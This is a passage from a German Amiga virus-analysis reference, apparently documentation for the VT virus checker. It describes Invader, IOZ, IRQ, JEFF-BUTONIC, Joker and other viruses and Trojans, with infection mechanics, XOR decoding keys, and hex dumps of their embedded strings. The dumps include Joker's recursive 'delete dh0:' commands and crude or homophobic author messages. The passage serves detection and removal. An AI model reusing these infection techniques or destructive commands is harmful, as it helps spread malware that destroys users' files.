  9919.    - INTEL.Gag    sofort loeschen    Laenge: 3384 Bytes
  9920.          Keine verbogenen Vektoren, keine Vermehrungsroutine
  9921.          Im File ist uncodiert zu lesen:
  9922.            54482f53 00245645 523a206c 6f616477 TH/S.$VER: loadw
  9923.            62203337 2e312028 31362e31 2e393129 b 37.1 (16.1.91)
  9924.            0a0d0000 776f726b 62656e63 682e6c69 ....workbench.li
  9925.          In Abhaengigkeit von $DFF006 wird entweder der loadwb-Befehl
  9926.          ausgefuehrt oder der Versuch unternommen, eine Graphik auszu-
  9927.          geben (blauer Hintergrund, helle Zeichnung). Ich habe auf
  9928.          KEINEM Rechnertyp eine SAUBERE Zeichnung gesehen. Die Weiter-
  9929.          arbeit ist danach nicht moeglich. VT bietet loeschen an. Bitte
  9930.          kopieren Sie den Original-loadwb-Befehl neu nach c .
  9931.  
  9932.  
  9933.    - INTERLAMER-Virus   anderer Name: A.I.S.F.-Virus   siehe oben
  9934.  
  9935.    - INVADER-Virus   Linkvirus
  9936.         anderer moeglicher Name: SILESIAN-Virus
  9937.         Fileverlaengerung: 1200 + (0 bis 36 abhaengig von Zaehlzelle)
  9938.         ab KS 2.04 (wg. NewLoadSeg)
  9939.         Verbogene Vektoren: Open, Rename, Lock, LoadSeg, SetComment,
  9940.                             SetProtection, NewLoadSeg
  9941.         Nicht Resetfest.
  9942.         Decodiert ist im File zu lesen:
  9943.                4448 30004448 303a432f 4c4f4144   DH0.DH0:C/LOAD
  9944.            57420052 414d3a3d 3d204d45 53534147 WB.RAM:== MESSAG
  9945.            45203d3d 00546849 73204669 4c652049 E ==.ThIs FiLe I
  9946.            7320496e 46654374 45642021 210000fa s InFeCtEd !!...
  9947.            0d3c2a3e 20494e56 41444552 203c2a3e .<*> INVADER <*>
  9948.            000100fb 0d3c2a3e 20494e56 41444552 .....<*> INVADER
  9949.            203c2a3e 0001005a 1c53494c 45534941  <*>...Z.SILESIA
  9950.            4e205649 5255532e 20202042 4f524e20 N VIRUS.   BORN
  9951.            3a202020 46454252 55415259 20313939 :   FEBRUARY 199
  9952.            35202028 43292042 5920534f 4d454f4e 5  (C) BY SOMEON
  9953.            452e2e2e 00003d20 494e5641 44455260 E.....= INVADER`
  9954.            5320204d 45535341 47453a20 3d0a3d3d S  MESSAGE: =.==
  9955.            3d3d3d3d 3d3d3d3d 3d3d3d3d 3d3d3d3d ================
  9956.            3d3d3d3d 3d0a3d20 46494e44 204d4520 =====.= FIND ME
  9957.            594f5520 4c414d45 52202120 3d0a     YOU LAMER ! =.
  9958.         Ablauf:
  9959.         Die obengenannten Vektoren werden verbogen. Ob das Teil schon
  9960.         im Speicher ist, wird ueber Open ueberprueft.
  9961.         Es wird nach DH0:C/LOADWB gesucht, um dieses File zuerst zu
  9962.         verseuchen.
  9963.         Mit Avail wird der Speicher ermittelt und je nach Groesse
  9964.         werden #54960 oder #105216 Bytes reserviert. Das Teil haengt
  9965.         sich hinter den 1. Hunk . Da im Normalfall erst ein Lock gesetzt
  9966.         wird und danach das File mit Open geoeffnet wird, kommt es sehr
  9967.         haeufig zu einer Doppelverseuchung. Mit einem Loop ($3F) werden
  9968.         ab Ende 1. Original-Hunk zurueck alle RTS gesucht und durch ein
  9969.         BRA.S Virusbeginn ersetzt. Ausnahme: Sollte das letzte oder vor-
  9970.         letzte Wort des Originalhunks ein RTS sein, so soll es mit -4 in
  9971.         NOP umgewandelt werden.
  9972.         Ein File wird NUR auf ausfuehrbar ($3F3) ueberprueft. Weitere
  9973.         Tests der Hunkstrukturen finden nicht statt . s.u.
  9974.         Sollte $DFF007 einen bestimmten Wert haben, so wird mit set-
  9975.         comment "ThIs FiLe..." in den Commentbereich des Files geschrieben.
  9976.         Sollte $DFF00A kleiner als 2 sein, so soll ins RAM eine Message
  9977.         geschrieben werden.
  9978.         Sollte eine Zaehlzelle einen bestimmten Wert erreicht haben, so
  9979.         wird der Fileanfang ueberschrieben:
  9980.            3d20494e 56414445 52605320 204d4553 = INVADER`S  MES
  9981.            53414745 3a203d0a 3d3d3d3d 3d3d3d3d SAGE: =.========
  9982.            3d3d3d3d 3d3d3d3d 3d3d3d3d 3d3d3d0a ===============.
  9983.            3d204649 4e44204d 4520594f 55204c41 = FIND ME YOU LA
  9984.            4d455220 21203d0a 0000041c 48e78080 MER ! =.....H...
  9985.         Das File ist zerstoert und kann nicht gerettet werden. VT sollte
  9986.         ausgeben: "INVADER zerst." . Loeschen Sie bitte das File.
  9987.         Sollte eine Zaehlzelle den Wert $3c erreicht haben, so wird
  9988.         ein DisplayAlert ( <*> INVADER..) erzeugt, der nur durch einen
  9989.         Reset beendet werden kann.
  9990.         Eine Syquest war in kurzer Zeit vollstaendig verseucht und/oder
  9991.         zerstoert.
  9992.         Probleme:
  9993.         Das Teil behandelt 3E8-, 3F0- und 3F1-Hunks falsch. Diese Hunks
  9994.         werden NICHT ueberlaufen. Folge: Das Virusteil landet mitten im
  9995.         3E9-Hunk. Das File ist defekt. VT sollte ausgeben: "INVADER de-
  9996.         fekt". Bitte loeschen Sie diese Files.
  9997.         Das Teil behandelt "DosFalse" unzureichend. Deshalb werden haeufig
  9998.         auch Files verseucht, die die reservierte Speichergroesse (s.o.)
  9999.         ueberschreiten. Folge: der letzte Teil des Files fehlt. Das File
  10000.         ist zerstoert. VT sollte melden: "INVADER defekt" oder "3F2 nicht
  10001.         gefunden" . Loeschen Sie diese Files.
  10002.         Allgemeine Hinweise: (fuer SEHR STARKE Verseuchung)
  10003.         Ueberlegen Sie bitte, ob es nicht sinnvoller ist, einzelne Unter-
  10004.         verzeichnisse ( z.B. c ) voellig neu auf die Festplatte aufzu-
  10005.         spielen.
  10006.         Falls Sie unbedingt eine Rettung durchfuehren muessen, dann gehen
  10007.         Sie bitte mit VT-Filerequester in die einzelnen Unterverzeichnisse
  10008.         Ihrer Festplatte. VT bewegt sich dann nur in dem gewaehlten Unter-
  10009.         verzeichnis und arbeitet schneller. Sp->File->SP und dann Unterver-
  10010.         zeichnis waehlen. Danach DirFTest.
  10011.  
  10012.    - IOZ-Virus    Linkvirus
  10013.         Namensbegruendung: sonst nichts gefunden
  10014.         Fileverlaengerung: #512 Bytes
  10015.         Nicht Resetfest
  10016.         Ab KS2.04
  10017.         Verbogene Vektoren: LoadSeg
  10018.         Speicherverankerung:
  10019.            - Loadseg wird verbogen
  10020.         Linkvorgang:
  10021.            - mit LoadSeg hinter den 1. Hunk
  10022.            - Filename enthaelt nicht "V", "-" oder "l"
  10023.            - Medium validated
  10024.            - 4 Block frei
  10025.            - File groesser #2048 Bytes
  10026.            - File kleiner #16384 Bytes
  10027.            - $3E9 wird gefunden
  10028.            - Suche nach RTS mit $3F-Schleife vom Hunkende zurueck.
  10029.              Falls genau am Ende RTS steht, dann NOP sonst BRA xy
  10030.  
  10031.  
  10032.    - IQ Breaker virus   BB  anderer Name: BadBytes3-Virus  siehe oben
  10033.  
  10034.    - IRAK3-Virus   BB und Link   CCCP-Clone   siehe oben
  10035.          KS1.3  ja
  10036.          KS2.04 ja
  10037.          Mehrfachlinks: ja
  10038.          Defekte Files: ja   (Hunkstruktur defekt nur loeschen moeglich)
  10039.       Nur Text geaendert:
  10040.            70004e75 4952414b 20332056 49524df8 p.NuIRAK 3 VIRM.
  10041.            006c43fa 0018b3d6 67062356 00042c89 .lC.....g.#V..,.
  10042.  
  10043.    - IRQ-TeamV41.0   Link-Virus
  10044.          verlaengert ein Prg. um 1096 Bytes
  10045.          Einsprung nach Reset: KickTag
  10046.          Einsprung bei Arbeit: OldOpenLib
  10047.          laeuft bei mir nicht mit KS2.04
  10048.          Textanzeige im CliTitel: (entschluesselt mit eor.l d0,(a0)+
  10049.          addq.l #3,d0 ; fuer einen neuen Virus wird der Inhalt von
  10050.          d0 ueber move.l alterWert,d0 u. add.l $dff004,d0 veraendert)
  10051.              AmigaDOS presents:a new virus by the IRQ-TeamV41.0
  10052.          entweder wird c/dir oder das erste File der startup-sequence
  10053.          befallen. K e i n  File wird zweimal befallen. Das File
  10054.          darf nicht laenger als 100 000 Bytes sein.
  10055.       Entfernung: 1.Zeile in startup. loeschen
  10056.                   OrigFile besorgen und neu kopieren
  10057.       Hinweis April 98: Ein Antivirusprogramm erkennt in dem File
  10058.           Design.dat (Laenge: 59484 Bytes) einen IRQ-Virus. Es handelt
  10059.           sich um eine FEHLERKENNUNG .
  10060.  
  10061.    - IRQ II    wie IRQ I, aber die Routine auf Test schon befallen
  10062.          (cmpi. #$fffe6100,30(a4,d6.l) wurde verfaelscht. Das heisst:
  10063.          das erste File von der startup-sequence wird solange befallen,
  10064.          (d.h. verlaengert) bis die Disk voll ist.
  10065.       Nachtrag:gilt fuer IRQI+II; mit meiner FastmemKarte ist n a c h
  10066.          einem Reset keine Vermehrung mehr moeglich ?????
  10067.       Hinweis: Ich besitze ein IRQ2-File mit sechs Links
  10068.       Hinweis 03.09.92: Ab VT2.44 sollten mehrere IRQ2-Links ans gleiche
  10069.       File in einem Durchgang ausgebaut werden. Falls nein, melden Sie
  10070.       sich bitte. Danke
  10071.  
  10072.  
  10073.    - istrip-Trojan  File gegen BBS
  10074.        Filename: istrip.bin
  10075.        Laenge ungepackt: 1156 Bytes
  10076.        Verwendet ungerade Adresse
  10077.        Keine verbogenen Vektoren
  10078.        Will user.data nach eatme.lha schreiben
  10079.        Empfehlung: Loeschen
  10080.        Decodiert mit eori.l #$11111111,(a3)+ ist im File zu lesen:
  10081.            636f6e66 69670000 75706c6f 61642f65 config..upload/e
  10082.            61746d65 2e6c6861 00626273 3a757365 atme.lha.bbs:use
  10083.            722e6461 74610000 00000000 00000000 r.data..........
  10084.        Taeuschtext in File_ID:
  10085.             ;......
  10086.             --> ISTRIP 2.1 beta LhA turbo stripper! <--
  10087.             --> There is no other stripper! Doesn't <--
  10088.             --> use LhA for stripping, custom 680x0 <--
  10089.             ;......
  10090.  
  10091.  
  10092.    - JEFF-BUTONIC V1.31/05.11.88    PrgFileVirus   3408 Bytes
  10093.  
  10094.          DoIo, KickTag, KickCheckSum, $68
  10095.          schreibt sich in die 1. Zeile der Startup-Sequence einer
  10096.          nicht schreibgeschuetzten Disk. Tarnnamen s.u. Die Anzahl
  10097.          der neuen Buchstaben wird am Ende der Startup-Sequence weg-
  10098.          genommen.
  10099.  
  10100.          Texte codiert mit: eori.l #$AAAAAAAA,(a0)+
  10101.  
  10102.  
  10103.      Text fuer DisplayAlert:
  10104.  
  10105.              "Einen ganz wunderschönen guten Tag!"
  10106.  
  10107.       "* I am JEFF - the new Virus generation on Amiga *"
  10108.  
  10109.                 "(w) by the genious BUTONIC."
  10110.  
  10111.            "V 1.31/05.11.88 - Generation Nr.00037"
  10112.  
  10113.     "Greetings to * Hackmack *,* Atlantic *, Wolfram, Frank,"
  10114.  
  10115.  "Miguel, Alex, Gerlach, and to the whole Physik-LK from MPG !!"
  10116.  
  10117.  
  10118.   Texte fuer die Fensterleiste:
  10119.  
  10120.     "Ich brauch jetzt'n Bier!"
  10121.     "Stau auf Datenbus bei Speicherkilometer 128!"
  10122.     "Mehr Buszyklen für den Prozessor!"
  10123.     "Ein dreifach MITLEID für Atarist!"
  10124.     "BUTONIC!"
  10125.     "Schon die Steinzeitmenschen benutzten MS-DOS...einige sogar heut noch!"
  10126.     "Schon mal den Sound vom PS/2 gehört???"
  10127.     "PC/XT-AT: Spendenkonto 004..."
  10128.     "Unabhängigkeit & Selbstbestimmung für den Tastaturprozessor!"
  10129.     "Paula meint, Agnus sei zu dick."
  10130.     "IBM PC/XT: Ein Fall für den Antiquitätenhändler..."
  10131.     "Sag mir, ob du Assembler kannst, und ich sage dir, wer du bist."
  10132.  
  10133.  
  10134.   Tarnnamen:
  10135.  
  10136.       fuer RootDir:                        in Startup-Sequence:
  10137.  
  10138.        AddBuffers                            "AddBuffers 20"
  10139.        Add21K                                "Add21K "
  10140.        Fault                                 "Fault 206"
  10141.        break                                 "break 1 D"
  10142.        changetaskpri                         "changetaskpri 5"
  10143.        wait                                  "wait "
  10144.        $A0                                   $A020
  10145.        $A0A0A0                               $A0A0A020
  10146.        Arthus                                "Arthus "
  10147.        Helmar                                "Helmar "
  10148.        Aloisius                              "Aloisius "
  10149.   ??   $20                                   $2020          ??
  10150.    die Erzeugung des $20-Tarnnamen ist nicht gelungen, steht aber im
  10151.    Virus-Prg.
  10152.  
  10153.      Nachtrag 03.03.93: Es ist ein JEFF-BUTONIC V1.31 Clone aufgetaucht.
  10154.        Laenge bleibt 3408 Bytes. Nur Texte geaendert. Bilden Sie sich
  10155.        selbst ihre Meinung. Wird von VT als JEFF-BUTONIC V1.31. erkannt.
  10156.  
  10157.     DisplayAlert-Text:
  10158.                 Es tut mir leid es ihnen zu sagen !
  10159.               *Ihr computer hat AiDS ein neuer Virus*
  10160.                    Gemacht von Donald & Micky
  10161.                 IM Jahre 1992 - Generation Nr.05426
  10162.        Grüße gehen an : Metalwarrior - Mozart - Tiger 1 - Poge
  10163.       Außerdem noch an : Meinen Virus-Freund David Hasselhoff !
  10164.  
  10165.      Texte fuer Fensterleiste:
  10166.          Tina zeig mir deine Votz
  10167.          Hey du Depp am Computer ! was is ?
  10168.          Hilfe die NFL-Kappen Kommen !
  10169.          Redskins - Fickt euch alle !!!
  10170.          Evil C !
  10171.          Der Vorkotzer er will nicht kotzen !! Rechtfertige er sich !
  10172.          Easy and fast-- Schnebber-Pax !!
  10173.          Burger du Drecksack !!
  10174.          Popper überfährt man mit einem Chopper !!
  10175.          Rod Grod Med Flod !!
  10176.          Fuck for oil And for NLF-Deppen !!
  10177.          Ihr Assigen NFL-Ficker ihr seid alle schwul und dumm !!
  10178.  
  10179.       neue Dateinamen fuer das Virus-file:
  10180.          "D.Hasselhoff "
  10181.          "Jesus  "
  10182.          "Archippus"
  10183.          "Philemon "
  10184.          "-->PAX<--      "
  10185.          "---->",$3E
  10186.          $A020
  10187.          $A0A020
  10188.          "NKOTB  "
  10189.          "Ephesus"
  10190.          "Guardians"
  10191.          $2020
  10192.          $2020
  10193.  
  10194.      Nachtrag 01.08.93: Es ist ein JEFF-BUTONIC V1.31 Clone aufgetaucht.
  10195.        Versions_Nr. 4.55  (siehe unten)
  10196.        KS2.04 : ja
  10197.        Laenge bleibt 3408 Bytes. Nur Texte geaendert. Bilden Sie sich
  10198.        selbst ihre Meinung.
  10199.        VT bei FileTest:
  10200.        Wird als JEFF-BUTONIC V1.31 erkannt, da der Name codiert ist.
  10201.        VT bei SpeicherTest:
  10202.        Wird als JEFF-BUTONIC V4.55 erkannt, da der Name im Speicher
  10203.        decodiert ist.
  10204.            neue Texte:
  10205.            e0014cdf 7fff4ef9 00f810d4 006c1848 ..L...N......l.H
  10206.            616c6c6f 20686f66 66656e74 6c696368 allo hoffentlich
  10207.            2073746f 65726520 69636820 73656872  stoere ich sehr
  10208.            202100ff 0034302a 20492061 6d204a45  !...40* I am JE
  10209.            4646202d 20746865 206f6c64 20566972 FF - the old Vir
  10210.            75732066 616d696c 7920666f 7220616e us family for an
  10211.            20416d69 6761202a 00ff008c 3c287729  Amiga *....<(w)
  10212.            20627920 74686520 6e696365 6c792020  by the nicely
  10213.            4255544f 4e49432e 00ff0064 48562034 BUTONIC....dHV 4
  10214.            2e35352f 32392e30 322e3933 202d2047 .55/29.02.93 - G
  10215.            656e6572 6174696f 6e204e72 2e303030 eneration Nr.000
  10216.            303100ff 001c5a4b 696c6c69 6e677320 01....ZKillings
  10217.            676f746f 2a20426f 6f745820 2020202a goto* BootX    *
  10218.            2c2a2056 69727573 5a202020 2a2c2056 ,* VirusZ   *, V
  10219.            69727573 5f436865 636b6572 202c00ff irus_Checker ,..
  10220.            000c6456 69727573 636f7065 2c204d61 ..dViruscope, Ma
  10221.            7573202c 20566972 75732d43 6865636b us , Virus-Check
  10222.            6572202c 20566972 75732043 6f6e7472 er , Virus Contr
  10223.            6f6c2061 6e642062 69672056 54202121 ol and big VT !!
  10224.            00ff4aa9 01000000 48616c6c 6f206769 ..J.....Hallo gi
  10225.            62206469 6520436f 6c612068 65722021 b die Cola her !
  10226.            004c6173 73206469 65204368 69707320 .Lass die Chips
  10227.            726f6573 74656e20 756e6420 6e696368 roesten und nich
  10228.            7420726f 7374656e 20212121 21004e69 t rosten !!!!.Ni
  10229.            6d6d2064 69652042 69726e65 20776567 mm die Birne weg
  10230.            20736f6e 7374206b 72616368 74732100  sonst krachts!.
  10231.            57656e6e 20447520 6e696368 74207370 Wenn Du nicht sp
  10232.            75727374 2064616e 6e206769 62747320 urst dann gibts
  10233.            24210042 6f54694e 75432100 53636861 $!.BoTiNuC!.Scha
  10234.            656d2044 69636820 44752042 616e6175 em Dich Du Banau
  10235.            7365206c 61737320 65732073 61757365 se lass es sause
  10236.            204a756e 67652020 2e2e2e61 62657220  Junge  ...aber
  10237.            6e696368 74207363 686c6170 70692e2e nicht schlappi..
  10238.            2e210057 696c6c73 74204475 204e6163 .!.Willst Du Nac
  10239.            6868696c 6665206f 64657220 77617320 hhilfe oder was
  10240.            6973206c 6f732020 3f004769 62206573 is los  ?.Gib es
  10241.            20617566 20447520 6c61686d 65722073  auf Du lahmer s
  10242.            6f636b65 2e2e2e00 57657220 616e6465 ocke....Wer ande
  10243.            726e2065 696e6520 47727562 65206772 rn eine Grube gr
  10244.            61656274 20666165 6c6c7420 73656c62 aebt faellt selb
  10245.            73742069 6e206469 6573656c 62696765 st in dieselbige
  10246.            20212121 00576f20 77696c6c 73746520  !!!.Wo willste
  10247.            64656e20 6a65747a 74207769 65646572 den jetzt wieder
  10248.            2068696e 004b616e 6e737420 4475206d  hin.Kannst Du m
  10249.            616c2052 75686520 67656265 6e204475 al Ruhe geben Du
  10250.            20616c74 6572204b 6e6f6368 656e2d4b  alter Knochen-K
  10251.            65726c20 2e2e2e00 4c696562 73742044 erl ....Liebst D
  10252.            75205669 72656e2c 2064616e 6e207765 u Viren, dann we
  10253.            69737320 69636820 61756368 2c207765 iss ich auch, we
  10254.            72204469 63682061 6d206d65 69737465 r Dich am meiste
  10255.            6e206861 73737400 0000              n hasst...
  10256.  
  10257.            neue Tarnnamen in Startup-Seq.:
  10258.            4c 6f616457 42202020 20202020 00      = "LoadWB       ",0
  10259.            4d6f75 6e742020 00                    = "Mount  ",0
  10260.            436c73 20202020 202000                = "Cls      ",0
  10261.            56 69727573 59202020 00               = "VirusY   ",0
  10262.            736574 636c6f63 6b206f70 74206920 00  = "setclock opt i ",0
  10263.            696e66 6f2000                         = "info ",0
  10264.            a02000                                = "  ",0
  10265.            a0a0 a02000                           = "    ",0
  10266.            62656c69 782000                       = "Obelix ",0
  10267.            49 64656669 782000                    = "Idefix ",0
  10268.            41 73746572 69782020 00               = "Asterix  ",0
  10269.            202000                                = "  ",0
  10270.  
  10271.      Nachtrag 02.08.93:
  10272.            Es ist ein JEFF V4.55 aufgetaucht, der mit Hunklab an
  10273.            SnoopDos angelinkt ist. (siehe unten bei SnoopDos-JEFF)
  10274.            Wurde bisher schon als HunkLab erkannt bei FileTest und
  10275.            RICHTIG ausgebaut.
  10276.            Wurde bisher schon als JEFF-Virus erkannt bei SpeicherTest.
  10277.  
  10278.    - JEFF-BUTONIC V3.00/9.2.89   PrgFileVirus  Laenge: 2916 Bytes
  10279.             Name im Hauptverzeichnis: A0A0A0
  10280.             1.Zeile in startup. A0A0A0209B41
  10281.             DoIo, KickTag, KickCheckSum
  10282.             Vermehrung: jede nicht schreibgeschuetzte DOS-Disk mit startup
  10283.             Entfernung: 1.Zeile in startup loeschen
  10284.                         File in DfX: loeschen
  10285.                            Entschuesselungsroutine:
  10286.       entschluesselter Text:                       move.w #$013a,D0
  10287.          Hi.                                     loop:
  10288.          JEFF`s speaking here...                   move.w (A0)+,(a1)
  10289.          (w) by the genious BUTONIC.               eori.w #$b4ed,(A1)+
  10290.          usw. insgesamt ueber $270 Bytes Text      dbf D0, loop
  10291.        Nachtrag: entdeckter Spezialfall:
  10292.          Auszuege erzeugt mit VT/zZyl/druck
  10293.                     R-Zyl  Bl      2  FHeader ChS: ok
  10294.          0000: 00000002 00000372 00000001 00000000 .......r........
  10295.          0010: 00000374 753f2cf2 00000000 00000000 ...tu?,.........
  10296.               ;....nur Null
  10297.          0130: 00000000 00000374 00000000 00000000 .......t........
  10298.          0140: 00000000 00000004 00000000 00000000 ................
  10299.                         ^^^^^^^^=Taeuschlaenge
  10300.               ;....nur Null
  10301.          01a0: 00000000 0000014e 0000013b 00000511 .......N...;....
  10302.          01b0: 10737461 72747570 2d736571 75656e63 .startup-sequenc
  10303.          01c0: 65000000 00000000 00000000 00000000 e...............
  10304.          01d0: 00000000 00000000 00000000 00000000 ................
  10305.          01e0: 00000000 00000000 00000000 00000000 ................
  10306.          01f0: 00000000 00000371 00000000 fffffffd .......q........
  10307.                     R-Zyl  Bl      4  DATA-Bl ChS: ok
  10308.          0000: 00000008 00000372 00000001 0000000b .......r........
  10309.                                           ^^^^^^^^ = 11 = wirkliche Laenge
  10310.          0010: 00000000 c4404f07 a0a0a020 9b410a74 .....@O.... .A.t
  10311.                                                 ^^
  10312.          0020: 2e780a00 1819999f 99860700 001f9986 .x..............
  10313.                ^^^^^^ = Originalladeprogramm = t.x
  10314.       Ablauf: Es handelt sch um eine Spiele-Disk, bei der die startup-
  10315.          sequence nur aus einer Zeile mit dem Inhalt "t.x",0a - also
  10316.          vier Zeichen - bestand. Das Virusteil hat sich nun an den Anfang
  10317.          der startup gesetzt und die Filelaenge im FileHeader-Block
  10318.          (s.o. $372=882) NICHT geaendert. Im DataBlock (s.o. $374=884)
  10319.          steht aber $b = 11 .
  10320.          $a0,$a0,$a0,$20,$9b,$41,$0a = Virusteil = 7
  10321.          "t.x",$0a                   = LadePrg.  = 4    = 11
  10322.          Es wurde mehrfach ausprobiert. Das Virusteil wird gestartet
  10323.          und danach wird das Spiel gestartet.
  10324.          SID zeigt als Filelaenge 4 an. Wird nun ED gestartet und die
  10325.          1.Zeile geloescht (es wird NUR EINE Zeile geladen) und danach
  10326.          neu abgespeichert, so geht "t.x",0a VERLOREN !!!! Das Spiel
  10327.          wird nicht mehr geladen !!!!! Man kann den Virusnamen aber auch
  10328.          nicht einfach stehen lassen, weil dann die startup mit "Programm
  10329.          nicht gefunden" abgebrochen wird. Schauen Sie sich also bitte
  10330.          mit VT oder einem DiskMonitor (ein FileMonitor REICHT NICHT) das
  10331.          File Startup-Sequence genauer an. Die Blocklage der Startup-
  10332.          Sequence koennen Sie in BlockKette bestimmen (schalten Sie
  10333.          SeitenStopp ein).
  10334.  
  10335.    - JEFF-BV3.00Hunklab
  10336.          Fall 1:         File   Laenge ungepackt: 33704 Bytes
  10337.          An das Prg. SeekSpeed wurde mit Hunklab ein Jeff V3.00 ange-
  10338.          linkt. Wird im Speicher als Jeff V3 erkannt.
  10339.          VT bietet bei Filetest Ausbau an.
  10340.          Fall 2:         File   Laenge ungepackt: 9396 Bytes
  10341.          An das Prg. mount wurde mit Hunklab ein Jeff V3.00 ange-
  10342.          linkt. Wird im Speicher als Jeff V3 erkannt.
  10343.          VT bietet bei Filetest Ausbau an.
  10344.  
  10345.    - JEFF-BUTONIC V3.10   Filevirus   Laenge: 2916 Bytes
  10346.          lesen Sie Auswirkungen unter Jeff 3.00
  10347.          Programmcodeteile wurden verschoben (soll Anti-Viren-Prge wohl
  10348.          taeuschen ??) + codierte Texte geaendert: z.b. Sauf blos keinen
  10349.          Wodka! usw.   Codierung weiterhin:  eori.w #$b4ed,(a1)+
  10350.  
  10351.          Ursprungprogramm:
  10352.             *JEFF* VIRUSKILLER     Mastercruncher: 7368
  10353.                                          entpackt: 9064
  10354.          andere Namen: Jeff-Maker, Jeff-Remover
  10355.          taeuscht durch Texte Jeff-Suche vor, schreibt aber in Wirklich-
  10356.          keit JEFF 3.10 auf Disk in Df0:
  10357.          Virus gefunden - bitte warten
  10358.          Startup-Sequence desinfiziert
  10359.          und Virus beseitigt!           usw.
  10360.          In diesem Prg ist JEFF V3.10 codiert [ eori.b $FF,(a0)+ ] ent-
  10361.          halten.
  10362.  
  10363.   - JEFF-BUTONIC V3.20   Filevirus   Laenge 2900
  10364.          Jeff 3.0 Clone Beweis:codierter Text gleich
  10365.          Die 16 gewonnenen Bytes kommen z.B. von der Adressierungsaenderung
  10366.          .l in .w .
  10367.          Das VirusPrg laeuft zwar an und verbiegt die Vektoren, aber bei
  10368.          einem Diskwechsel kommt der GURU.
  10369.          Eine Vermehrung konnte also von mir NICHT erreicht werden. Also
  10370.          keiner Erwaehnung wert. Leider nicht. Dieses unsichtbare File
  10371.          wurde auf einer A3000-HD in c gefunden. Die Startup-sequence
  10372.          war modifiziert und verhinderte den ordnungsgemaessen Bootvorgang.
  10373.          Ein 2.Fall wurde im Feb. im Fido-Netz besprochen, wobei hier
  10374.          aber nur ueber die Vektoren geschrieben wurde und das namentliche
  10375.          Nicht-Erkennen des Prg.s .
  10376.          Da bei einer HD der Rootblock nicht mit $6e000 gefunden werden
  10377.          kann, darf es gar nicht zu einer Vermehrung kommen. Ich vermute
  10378.          deshalb, dass ein anderes Prg. die Installierung vornimmt. Der
  10379.          Prg.Name ist NICHT bekannt.  Stand:07.03.92
  10380.          Empfehlung: SOFORT loeschen und startup-seq. ueberpruefen.
  10381.  
  10382.    - JEFF-BUTONIC V4.55   Laenge:3408  JEFF-BUTONIC-V1.31-Clone
  10383.          (siehe oben)
  10384.  
  10385.    - Jeffkiller V2.67 Trojan    anderer Name: DIGITAL-DREAM-Inst.
  10386.          siehe oben
  10387.  
  10388.    - JINX-BB-Virus     1024 Bytes
  10389.          KickTag, KickCheckSum, SumKickData, BeginIo, Exec-Vec 5
  10390.          Speicherlage: abhaengig von SysStkLower und Wert aus $DFF007
  10391.          KS2.04: Ja
  10392.          Vermehrung: BB
  10393.          Decodiert mit "eori.b d0,(a0)+" ist im Speicher zu lesen:
  10394.            7badaba9 7a004a49 4e580074 7261636b {...z.JINX.track
  10395.            6469736b 2e646576 69636500 00000000 disk.device.....
  10396.  
  10397.    - JITR       BB-Virus
  10398.          Cool, DoIo
  10399.          FastMem ja
  10400.          im Speicher immer ab $7ec10
  10401.          Vermehrung: ueber BB
  10402.          Sonst keine Routine vorhanden !!!! VirusPrg. nur $200 Bytes lang.
  10403.          Im BB lesbar:
  10404.             I'm a safe virus! Don't kill me! I want to travel!
  10405.                And now a joke : ATARI ST
  10406.             This virus is a product of JITR
  10407.  
  10408.    - JiZANSi    GAG ????  Laenge: 22008 Bytes  GFA-Basic
  10409.          Keine verbogenen Vektoren
  10410.          Empfehlung: Sofort Loeschen
  10411.          Am Ende des Files ist zu lesen:
  10412.            000003ea 000000a8 000000ea 06004946 ..............IF
  10413.            4633325f 544f5f41 4e534953 6f727279 F32_TO_ANSISorry
  10414.             ;.....
  10415.            466f726d 61747469 6e672063 796c2020 Formatting cyl
  10416.            746f2067 6f2e5665 72696679 696e6720 to go.Verifying
  10417.            2063796c 20466f72 6d617420 6661696c  cyl Format fail
  10418.            65643a20 54727920 61206469 66666572 ed: Try a differ
  10419.            656e7420 6469736b 2e4a7573 74206b69 ent disk.Just ki
  10420.            6464696e 67202d20 41505249 4c204641 dding - APRIL FA
  10421.            554c5453 20212121 65786563 75746572 ULTS !!!executer
  10422.             ;.....
  10423.            00ff000f 4746412d 42415349 43000000 ....GFA-BASIC...
  10424.             ;.....
  10425.          Nach der mitgelieferten Dok sollen damit IFF-Bilder in ANSI-
  10426.          Standard umgewandelt werden.
  10427.          In Wirklichkeit ersheint im Cli-Fenster sofort der Format-
  10428.          Text (s.o.) und nach einiger Zeit APRIL FAULTS (s.o.)
  10429.          Das HD-Licht flackert wirklich !!!!
  10430.          Eine Zerstoerung konnte in mehreren Versuchen NICHT festge-
  10431.          stellt werden. Das Teil ist nicht angelinkt, da Routinen
  10432.          aus dem ersten Prg-Teil angesprungen werden, sondern beide
  10433.          Teile wurden ZUSAMMEN (source vorhanden) entwickelt.
  10434.          Von solchen Programmen halte ich nichts. Anfaenger koennen
  10435.          dadurch zu unnoetigen Reaktionen veranlasst werden. Loeschen
  10436.          Sie bitte deshalb das Teil. Danke
  10437.  
  10438.    - Joker-Trojan   Vermehrung und Zerstoerung
  10439.         Typ A:
  10440.         Filename: InstSG, assign usw. s.u.
  10441.         Laenge: 42676 Bytes
  10442.         Keine verbogenen Vektoren
  10443.         Nicht resetfest
  10444.         Nach der FileID soll es sich um ein Spiel-Install handeln.
  10445.         In Wirklichkeit wurden mit der 4EB9-Methode ein alter, gepackter
  10446.         VirusZ und das Trojan-Teil zusammengelinkt.
  10447.         VT bietet deshalb nur Loeschen an.
  10448.         Im entpackten Trojanteil ist zu lesen:
  10449.            20200a00 54686520 4a6f6b65 72204675   ..The Joker Fu
  10450.            636b6564 20596172 20486172 64646973 cked Yar Harddis
  10451.            6b210a00 20202020 20202020 20202020 k!..
  10452.            20202020 20202020 20202020 20202020
  10453.            20200a00 6468303a 632f6465 6c657465   ..dh0:c/delete
  10454.            20646830 3a6c6962 732f0064 68303a63  dh0:libs/.dh0:c
  10455.            2f64656c 65746520 6468303a 77627374 /delete dh0:wbst
  10456.            61727475 702f0064 68303a63 2f64656c artup/.dh0:c/del
  10457.            65746520 6468303a 6c6f6361 6c652f00 ete dh0:locale/.
  10458.            6468303a 632f6465 6c657465 20646830 dh0:c/delete dh0
  10459.            3a707265 66732f00 6468303a 632f6465 :prefs/.dh0:c/de
  10460.            6c657465 20646830 3a646576 732f0064 lete dh0:devs/.d
  10461.            68303a63 2f64656c 65746520 6468303a h0:c/delete dh0:
  10462.            732f0073 79733a63 2f6d6170 75730073 s/.sys:c/mapus.s
  10463.            79733a63 2f6c6f61 64776200 7379733a ys:c/loadwb.sys:
